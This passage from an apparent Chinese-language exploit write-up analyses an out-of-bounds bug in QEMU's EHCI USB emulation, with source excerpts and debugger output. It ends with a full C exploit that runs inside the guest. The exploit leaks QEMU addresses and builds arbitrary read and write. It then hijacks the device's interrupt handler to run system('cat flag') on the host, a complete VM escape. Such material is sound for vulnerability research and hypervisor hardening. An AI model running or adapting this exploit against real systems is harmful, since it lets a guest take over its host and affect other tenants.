函数的时候需要将perpare
位置为1
表示需要设置一下s->setup_state
以顺利的进入do_token_out
的写操作部分。
1 2 3 4 5 int len = s->setup_len - s->setup_index;if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len);
我们看到这里还是将setup_len
于iov.size
对比了一下选择两者之间最小的进行覆写,这里在函数中是写死的。因此这里实际上写入的字节大小就是len
的值也就是0x1010
字节大小。溢出的0x10
字节的写用来覆写setup_len/setup_index
为指定的数值。
那么在任意写函数调用了第一次越界写入函数覆写完毕setup_len/setup_index
之后setup_index
要加上写入的字节数,此时的setup_index=-8
。接着再一次调用了越界写函数,此时写入的目标地址就是setup_buf
开始的。
1 2 pwndbg> p/x s->setup_index $2 = 0xfffffff8
在这里将setup_buf
覆写为了read
函数调用所需要的数值,并将setup_len
覆写为了0xffff
,setup_index
覆写为了offset-0x1018
,那么此次的越界写写入的字节数为0x1018
大小,覆写结束之后setup_index
就变成了offset
即target_addr - data_buf_addr
,那么下一次的读函数的调用就是从target_addr
开始读取数据。
1 2 3 4 5 6 7 8 9 10 pwndbg> p/x s->setup_index $4 = 0xffffff9c pwndbg> p/x s->setup_buf $5 = {0x80 , 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0x0 , 0x20 } pwndbg> p &s->data_buf $6 = (uint8_t (*)[4096 ]) 0x5555576b539c pwndbg> p &s->port $7 = (USBPort **) 0x5555576b5338 pwndbg> p/x 0x5555576b5338 - 0x5555576b539c $8 = 0xffffffffffffff9c
那么接下来调用越界读函数就可以读取出port
中存储的指针的值。
1 2 3 4 pwndbg> p s->port $10 = (USBPort *) 0x55555762ea80 pwndbg> x/20 gx 0x55555762ea80 0x55555762ea80 : 0x00005555576b52c0 0x0000000000000004
从该值我们可以推测出EHCIState
结构体的地址,因为此值就是EHCIState
中的ports
的值。
1 2 3 4 5 6 7 8 pwndbg> p &((struct EHCIState*)0 )->ports $26 = (USBPort (*)[6 ]) 0x540 pwndbg> p/x 0x55555762ea80 -0x540 $27 = 0x55555762e540 pwndbg> p &((struct EHCIState *)0x55555762e540 ).ports $28 = (USBPort (*)[6 ]) 0x55555762ea80 pwndbg> p s->port $29 = (USBPort *) 0x55555762ea80
那么得到该结构体的地址之后我们就可以得到irq
成员变量的地址。之后读取了irq
成员变量里面存储的值,但是我现在还不知道该值有什么作用。
还差一点就是为什么这两个ports
的值相同。这里我们需要深入的分析一下usb_claim_prot
这个函数,这个之后再进行分析。
Step3 目前我们已经知道了EHCIState
结构体的地址,那么接下来就是要伪造一个qemu_irq
结构体将handler
设置为system.plt
的地址将opaque
设置为payload
的地址,覆写EHCIState->irq
指针为我们伪造的结构体的地址,那么之后发生的irq->handler(irq->opaque)
的调用就可以执行我们的payload
了。看一下这里的exp
代码。
1 2 3 4 5 6 7 8 9 10 11 *(unsigned long *)(data_buf + 0x28 ) = system_addr; *(unsigned long *)(data_buf + 0x30 ) = device_addr+0xdc +0x100 ; *(unsigned long *)(data_buf + 0x38 ) = 0x3 ; *(unsigned long long *)(data_buf + 0x100 ) = 0x67616c6620746163 ; printf ("\033[41;37m[*] Step 3/3\033[0m\n" );getchar(); oob_write(0 , 0xffff , 0xffff ,1 ); anywhere_write(irq_addr, fake_irq_addr,1 );
这里首先是覆写了setup_len,setup_index
,这一步好像是没什么用,接着就直接覆写了EHCIState->irq
这个指针为我们伪造的qemu_irq
结构体的地址。这里我们看一下任意地址写函数anywhere_write
1 2 3 4 5 6 7 8 9 10 11 12 13 14 void anywhere_write (uint64_t target_addr,uint64_t payload,int flag) { puts ("\033[47;31m[*] Anywhere Write\033[0m" ); uint32_t offset = target_addr - data_buf_addr; oob_write(0 , offset+0x8 , offset-0x1010 ,1 ); if (flag){ printf ("\033[41;37m[*] Hacked!\033[0m\n" ); } *(unsigned long *)(data_buf) = payload; oob_write(0 , 0xffff , 0 ,0 ); }
首先函数利用越界写设置setup_len,setup_index
。但是由于越界写入指定了写入的字节的大小就是0x1010
,因此这里在第一次越界写入之后就setup_index
就会变成offset
,下一次的越界写入就从target_addr
开始写入0x1010
大小的字节了,并且这里写入的源地址是data_buf
指针指向的内容。因此这里就实现了任意写。
并且最后一个任意写在这里还存在一个功能就是触发qemu_set_irq
函数,由于此时任意写的addr=0
,那么在echi_opreg_write
函数中走入的分支就是USBCMD
也就是覆写usbcmd
成员变量,但是这里会调用一个echi_reset
函数,那么就会发生如下的函数调用链ehci_reset->usb_detach->ehci_detach->ehci_raise_irq->ehci_update_irq->qemu_set_irq
最终就会调用irq->handler(irq->opaque, irq->n, level);
也就是会执行我们的payload
。
那么由于这里我是在docker
中进行调试的,因此这里我将弹出计算器的操作改成了读取flag
。
iov.size 对于iov
的赋值是从qemu_iovec_add
函数开始的,发生如下的函数调用链echi_execute->usb_packet_map->qemu_iovec_add
,我们看一下该函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 typedef struct QEMUIOVector { struct iovec *iov ; int niov; union { struct { int nalloc; struct iovec local_iov ; }; struct { char __pad[sizeof (int ) + offsetof(struct iovec, iov_len)]; size_t size; }; }; } QEMUIOVector; struct iovec { void *iov_base; size_t iov_len; }; void qemu_iovec_add (QEMUIOVector *qiov, void *base, size_t len) { assert(qiov->nalloc != -1 ); if (qiov->niov == qiov->nalloc) { qiov->nalloc = 2 * qiov->nalloc + 1 ; qiov->iov = g_renew(struct iovec, qiov->iov, qiov->nalloc); } qiov->iov[qiov->niov].iov_base = base; qiov->iov[qiov->niov].iov_len = len; qiov->size += len; ++qiov->niov; }
传入的base
是一个物理地址,len
是长度。可以看到这里对iov
的所有变量进行了赋值。qiov
是一个QEMUIOVector
结构体,该结构体中的第一个成员变量iov
是一个iovc
结构体指针数组。niov
表示的是数组下标即index
。我们看一下qemu_iovec_add
函数的上层函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 struct ScatterGatherEntry { dma_addr_t base; dma_addr_t len; }; struct QEMUSGList { ScatterGatherEntry *sg; int nsg; int nalloc; size_t size; DeviceState *dev; AddressSpace *as; }; int usb_packet_map (USBPacket *p, QEMUSGList *sgl) { DMADirection dir = (p->pid == USB_TOKEN_IN) ? DMA_DIRECTION_FROM_DEVICE : DMA_DIRECTION_TO_DEVICE; void *mem; int i; for (i = 0 ; i < sgl->nsg; i++) { dma_addr_t base = sgl->sg[i].base; dma_addr_t len = sgl->sg[i].len; while (len) { dma_addr_t xlen = len; mem = dma_memory_map(sgl->as, base, &xlen, dir); if (!mem) { goto err; } if (xlen > len) { xlen = len; } qemu_iovec_add(&p->iov, mem, xlen); len -= xlen; base += xlen; } } return 0 ; err: usb_packet_unmap(p, sgl); return -1 ; }
这里我们看到函数传入参数mem,xlen
是由sgl
这个数据结构体得来的。根据nsg
的值依次添加相应的iov
。我们看一下sgl
的赋值过程。该结构体其实是从ehci_init_transfer
函数中生成的,发生了如下的函数调用链ehci_execute->ehci_init_transfer->qemu_sglist_add
,我们先来看一下qemu_sglist_add
函数
1 2 3 4 5 6 7 8 9 10 11 void qemu_sglist_add (QEMUSGList *qsg, dma_addr_t base, dma_addr_t len) { if (qsg->nsg == qsg->nalloc) { qsg->nalloc = 2 * qsg->nalloc + 1 ; qsg->sg = g_realloc(qsg->sg, qsg->nalloc * sizeof (ScatterGatherEntry)); } qsg->sg[qsg->nsg].base = base; qsg->sg[qsg->nsg].len = len; qsg->size += len; ++qsg->nsg; }
可以看到函数的逻辑和qemu_iovec_add
函数的逻辑类似,我们看一下上层函数base,len
的赋值过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static int ehci_init_transfer (EHCIPacket *p) { uint32_t cpage, offset, bytes, plen; dma_addr_t page; #define QTD_TOKEN_CPAGE_MASK 0x00007000 #define QTD_TOKEN_CPAGE_SH 12 #define QTD_TOKEN_TBYTES_MASK 0x7fff0000 #define QTD_TOKEN_TBYTES_SH 16 cpage = get_field(p->qtd.token, QTD_TOKEN_CPAGE); bytes = get_field(p->qtd.token, QTD_TOKEN_TBYTES); offset = p->qtd.bufptr[0 ] & ~QTD_BUFPTR_MASK; qemu_sglist_init(&p->sgl, p->queue ->ehci->device, 5 , p->queue ->ehci->as); while (bytes > 0 ) { if (cpage > 4 ) { fprintf (stderr , "cpage out of range (%d)\n" , cpage); qemu_sglist_destroy(&p->sgl); return -1 ; } page = p->qtd.bufptr[cpage] & QTD_BUFPTR_MASK; page += offset; plen = bytes; if (plen > 4096 - offset) { plen = 4096 - offset; offset = 0 ; cpage++; } qemu_sglist_add(&p->sgl, page, plen); bytes -= plen; } return 0 ; }
我们看到cpage
是一个类似于index
的东西,base
也就是基地址对应的page
来自于bufptr[cpage]
。len
也就是size
对应的plen
来自于bytes
,而bytes
和cpage
都是从token
中提取出来的。而我们又可以通过periodiclistbase
控制list
和entry
从而控制qtd
结构体,也即是我们可以控制bufptr
和token
这两个成员变量。也就是我们可以控制iov
结构体的所有内容。
其实我们看到进行读写即do_token_in/out
的关键函数use_packet_copy
函数就是对向iov.iov
写入数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 void usb_packet_copy (USBPacket *p, void *ptr, size_t bytes) { QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov; assert(p->actual_length >= 0 ); assert(p->actual_length + bytes <= iov->size); switch (p->pid) { case USB_TOKEN_SETUP: case USB_TOKEN_OUT: iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); break ; case USB_TOKEN_IN: iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes); break ; default : fprintf (stderr , "%s: invalid pid: %x\n" , __func__, p->pid); abort (); } p->actual_length += bytes; } static inline size_t iov_to_buf (const struct iovec *iov, const unsigned int iov_cnt, size_t offset, void *buf, size_t bytes) { if (__builtin_constant_p(bytes) && iov_cnt && offset <= iov[0 ].iov_len && bytes <= iov[0 ].iov_len - offset) { memcpy (buf, iov[0 ].iov_base + offset, bytes); return bytes; } else { return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes); } } static inline size_t iov_from_buf (const struct iovec *iov, unsigned int iov_cnt, size_t offset, const void *buf, size_t bytes) { if (__builtin_constant_p(bytes) && iov_cnt && offset <= iov[0 ].iov_len && bytes <= iov[0 ].iov_len - offset) { memcpy (iov[0 ].iov_base + offset, buf, bytes); return bytes; } else { return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes); } }
我们看到其最终是向iov[0].iov_base
写入了数据。虽然在usb_packet_copy
函数中写入的字节数是一个参数,但是我们看一下函数再调用中的参数的值
1 2 3 4 5 int len = s->setup_len - s->setup_index;if (len > p->iov.size) { len = p->iov.size; } usb_packet_copy(p, s->data_buf + s->setup_index, len);
我们看到这里的len
要么就是setup_len
,要么就是iov.size
。而setup_len
是我们控制的,iov.size
我们也可以进行控制,因此这里拷贝的长度和目标地址都是可控的。这也就是解释了为什么我们可以指定读取的目标地址和写入的源地址。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdint.h> #include <stdbool.h> typedef struct USBDevice USBDevice ;typedef struct USBEndpoint USBEndpoint ;struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice *dev; USBEndpoint *fd; USBEndpoint *bk; }; struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[15 ]; USBEndpoint ep_out[15 ]; }; typedef struct EHCIqh { uint32_t next; uint32_t epchar; uint32_t epcap; uint32_t current_qtd; uint32_t next_qtd; uint32_t altnext_qtd; uint32_t token; uint32_t bufptr[5 ]; } EHCIqh; typedef struct EHCIqtd { uint32_t next; uint32_t altnext; uint32_t token; uint32_t bufptr[5 ]; } EHCIqtd; char *setup_buf;char *data_buf;char *data_bufoob;char *first_leak_data;char *second_leak_data;unsigned char * mmio_mem;char *dmabuf;uint32_t *entry;struct EHCIqh *qh ;struct EHCIqtd * qtd ;uint64_t device_addr = 0 ;uint64_t func_addr = 0 ;uint64_t port_addr = 0 ;uint64_t port_ptr = 0 ;uint64_t data_buf_addr = 0 ;uint64_t proc_base = 0 ;size_t virtuak_addr_to_physical_addr (void *addr) { uint64_t data; int fd = open("/proc/self/pagemap" ,O_RDONLY); if (!fd){ perror("open pagemap" ); return 0 ; } size_t pagesize = getpagesize(); size_t offset = ((uintptr_t )addr / pagesize) * sizeof (uint64_t ); if (lseek(fd,offset,SEEK_SET) < 0 ){ puts ("lseek" ); close(fd); return 0 ; } if (read(fd,&data,8 ) != 8 ){ puts ("read" ); close(fd); return 0 ; } if (!(data & (((uint64_t )1 << 63 )))){ puts ("page" ); close(fd); return 0 ; } size_t pageframenum = data & ((1ull << 55 ) - 1 ); size_t phyaddr = pageframenum * pagesize + (uintptr_t )addr % pagesize; close(fd); return phyaddr; } void die (const char * msg) { perror(msg); exit (-1 ); } void mmio_write (uint64_t addr, uint64_t value) { *((uint32_t *)(mmio_mem + addr)) = (value & 0xffffffff ); *((uint32_t *)(mmio_mem + addr + 4 )) = (value >> 32 ); } uint64_t mmio_read (uint64_t addr) { uint32_t value1 = *((uint32_t *)(mmio_mem + addr)); uint32_t value2 = *((uint32_t *)(mmio_mem + addr + 4 )); uint64_t value = ((uint64_t )value2 << 32 ) + value1; return value; } void echi_reset (void ) { mmio_write(0x20 ,1 <<1 ); return ; } void set_usbcmd (void ) { echi_reset(); mmio_write(0x20 ,(1 <<0 )|(1 <<4 )); return ; } void set_portsc (void ) { mmio_write(0x64 ,1 <<8 ); mmio_write(0x64 ,1 <<2 ); mmio_write(0x65 <<2 ,1 <<8 ); mmio_write(0x65 <<2 ,1 <<2 ); mmio_write(0x66 <<2 ,1 <<8 ); mmio_write(0x66 <<2 ,1 <<2 ); mmio_write(0x67 <<2 ,1 <<8 ); mmio_write(0x67 <<2 ,1 <<2 ); mmio_write(0x68 <<2 ,1 <<8 ); mmio_write(0x68 <<2 ,1 <<2 ); mmio_write(0x69 <<2 ,1 <<8 ); mmio_write(0x69 <<2 ,1 <<2 ); return ; } void set_length (uint64_t length) { setup_buf[6 ] = length & 0xff ; setup_buf[7 ] = (length >> 8 ) & 0xff ; qtd->token = (8 << 16 ) | (1 << 7 ) | (2 << 8 ); qtd->bufptr[0 ] = virtuak_addr_to_physical_addr(setup_buf); qh->token = 1 << 7 ; qh->current_qtd = virtuak_addr_to_physical_addr(qtd); *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1 ); set_usbcmd(); set_portsc(); mmio_write(0x34 ,virtuak_addr_to_physical_addr(dmabuf)); sleep(3 ); } void perpare_read (void ) { setup_buf[0 ] = 0x80 ; setup_buf[6 ] = 0xff ; setup_buf[7 ] = 0x00 ; qtd->token = (8 << 16 ) | (1 << 7 ) | (2 << 8 ); qtd->bufptr[0 ] = virtuak_addr_to_physical_addr(setup_buf); qh->token = 1 << 7 ; qh->current_qtd = virtuak_addr_to_physical_addr(qtd); *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1 ); set_usbcmd(); set_portsc(); mmio_write(0x34 ,virtuak_addr_to_physical_addr(dmabuf)); sleep(3 ); } void perpare_write (void ) { setup_buf[0 ] = 0x00 ; setup_buf[6 ] = 0xff ; setup_buf[7 ] = 0x00 ; qtd->token = (8 << 16 ) | (1 << 7 ) | (2 << 8 ); qtd->bufptr[0 ] = virtuak_addr_to_physical_addr(setup_buf); qh->token = 1 << 7 ; qh->current_qtd = virtuak_addr_to_physical_addr(qtd); *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1 ); set_usbcmd(); set_portsc(); mmio_write(0x34 ,virtuak_addr_to_physical_addr(dmabuf)); sleep(3 ); } void oob_read (uint64_t length,int flag) { if (flag){ perpare_read(); puts ("\033[47;31m[*] perpare read finished\033[0m" ); set_length(length); puts ("\033[47;31m[*] set length finished\033[0m" ); } data_buf[0 ] = 'R' ; data_buf[1 ] = 'e' ; data_buf[2 ] = 's' ; data_buf[3 ] = 'e' ; data_buf[4 ] = 'r' ; data_buf[5 ] = 'y' ; qtd->token = (0x1e00 << 16 ) | (1 << 7 ) | (1 << 8 ); qtd->bufptr[0 ] = virtuak_addr_to_physical_addr(data_buf); qtd->bufptr[1 ] = virtuak_addr_to_physical_addr(data_bufoob); qh->token = 1 << 7 ; qh->current_qtd = virtuak_addr_to_physical_addr(qtd); *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1 ); set_usbcmd(); set_portsc(); puts ("\033[47;31m[*] oob read start\033[0m" ); mmio_write(0x34 ,virtuak_addr_to_physical_addr(dmabuf)); sleep(5 ); } void oob_write (uint64_t offset,uint64_t setup_len,uint64_t setup_index,int perpare) { if (perpare){ perpare_write(); set_length(0x1010 ); } puts ("\033[47;31m[*] prepare write finished\033[0m" ); *(unsigned long *)(data_bufoob + offset) = 0x0000000200000002 ; *(unsigned int *)(data_bufoob + 0x8 +offset) = setup_len; *(unsigned int *)(data_bufoob + 0xc + offset) = setup_index; qtd->token = (0x1e00 << 16 ) | (1 << 7 ) | (0 << 8 ); qtd->bufptr[0 ] = virtuak_addr_to_physical_addr(data_buf); qtd->bufptr[1 ] = virtuak_addr_to_physical_addr(data_bufoob); qh->token = 1 << 7 ; qh->current_qtd = virtuak_addr_to_physical_addr(qtd); *entry = virtuak_addr_to_physical_addr(qh) + (1 << 1 ); set_usbcmd(); set_portsc(); mmio_write(0x34 ,virtuak_addr_to_physical_addr(dmabuf)); sleep(5 ); } void anywhere_read (uint64_t target_addr) { puts ("\033[47;31m[*] Anywhere Read\033[0m" ); oob_write(0x0 ,0x1010 ,0xfffffff8 -0x1010 ,1 ); *(unsigned long *)(data_buf) = 0x2000000000000080 ; uint32_t target_offset = target_addr - data_buf_addr; oob_write(0x8 ,0xffff ,target_offset - 0x1018 ,0 ); oob_read(0x2000 ,0 ); } void anywhere_write (uint64_t target_addr,uint64_t payload,int flag) { puts ("\033[47;31m[*] Anywhere Write\033[0m" ); uint32_t offset = target_addr - data_buf_addr; oob_write(0 , offset+0x8 , offset-0x1010 ,1 ); if (flag){ printf ("\033[41;37m[*] Hacked!\033[0m\n" ); } *(unsigned long *)(data_buf) = payload; oob_write(0 , 0xffff , 0 ,0 ); } void init (void ) { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd < 0 ) die("mmio_fd open failed" ); mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed" ); dmabuf = mmap(0 , 0x3000 , PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1 , 0 ); if (dmabuf == MAP_FAILED) die("mmap" ); mlock(dmabuf, 0x3000 ); printf ("[*] dmabuf : %p\n" ,dmabuf); printf ("[*] phy dmabuf : %p\n" ,virtuak_addr_to_physical_addr(dmabuf)); entry = dmabuf + 0x4 ; qh = dmabuf + 0x100 ; qtd = dmabuf + 0x200 ; setup_buf = dmabuf + 0x300 ; data_buf = dmabuf + 0x1000 ; data_bufoob = dmabuf + 0x2000 ; first_leak_data = dmabuf + 0x2000 ; second_leak_data = dmabuf + 0x1000 ; } int main () { puts ("\033[41;37m[*] Beginning\033[0m" ); puts ("\033[47;31m[*] Wait a moment\033[0m" ); init(); printf ("\033[41;37m[*] Step 1/3\033[0m\n" ); getchar(); oob_read(0x2000 ,1 ); device_addr = 0 ; for (int i=36 ;i<42 ;i++){ uint64_t tmp = first_leak_data[i] & 0xff ; device_addr |= tmp << ((i-36 ) * 8 ); } func_addr = 0 ; port_addr = device_addr+0x78 ; data_buf_addr = device_addr+0xdc ; printf ("\033[47;31m[*] Devices addr : 0x%lx\033[0m\n" ,device_addr); printf ("\033[47;31m[*] Port addr : 0x%lx\033[0m\n" ,port_addr); printf ("\033[47;31m[*] Data Buf addr : 0x%lx\033[0m\n" ,data_buf_addr); for (int i=0x4fc ;i<0x4fc +6 ;i++){ uint64_t tmp = first_leak_data[i] & 0xff ; func_addr |= tmp << ((i-0x4fc ) * 8 ); } proc_base = func_addr - 0x106b170 ; printf ("\033[47;31m[*] Func addr : 0x%lx\033[0m\n" ,func_addr); printf ("\033[47;31m[*] proc base : 0x%lx\033[0m\n" ,proc_base); uint64_t system_addr = proc_base + 0x2BE960 ; printf ("\033[47;31m[*] System addr : 0x%lx\033[0m\n" ,system_addr); sleep(3 ); printf ("\033[41;37m[*] Step 2/3\033[0m\n" ); anywhere_read(port_addr); for (int i=0 ;i<6 ;i++){ uint64_t tmp = second_leak_data[i] & 0xff ; port_ptr |= tmp << ((i) * 8 ); } printf ("\033[47;31m[*] port ptr : 0x%lx\033[0m\n" ,port_ptr); uint64_t EHCIState_addr = port_ptr - 0x540 ; uint64_t irq_addr = EHCIState_addr + 0xc0 ; uint64_t fake_irq_addr = data_buf_addr; uint64_t irq_ptr = 0 ; anywhere_read(irq_addr); for (int i=0 ;i<6 ;i++){ uint64_t tmp = second_leak_data[i] & 0xff ; irq_ptr |= tmp << ((i) * 8 ); } printf ("\033[47;31m[*] Port ptr : 0x%lx\033[0m\n" ,port_ptr); printf ("\033[47;31m[*] EHCIState addr : 0x%lx\033[0m\n" ,EHCIState_addr); printf ("\033[47;31m[*] IRQ addr : 0x%lx\033[0m\n" ,irq_addr); printf ("\033[47;31m[*] Fake IRQ addr : 0x%lx\033[0m\n" ,fake_irq_addr); printf ("\033[47;31m[*] IRQ ptr : 0x%lx\033[0m\n" ,irq_ptr); *(unsigned long *)(data_buf + 0x28 ) = system_addr; *(unsigned long *)(data_buf + 0x30 ) = device_addr+0xdc +0x100 ; *(unsigned long *)(data_buf + 0x38 ) = 0x3 ; *(unsigned long long *)(data_buf + 0x100 ) = 0x67616c6620746163 ; printf ("\033[41;37m[*] Step 3/3\033[0m\n" ); getchar(); oob_write(0 , 0xffff , 0xffff ,1 ); anywhere_write(irq_addr, fake_irq_addr,1 ); return 0 ; }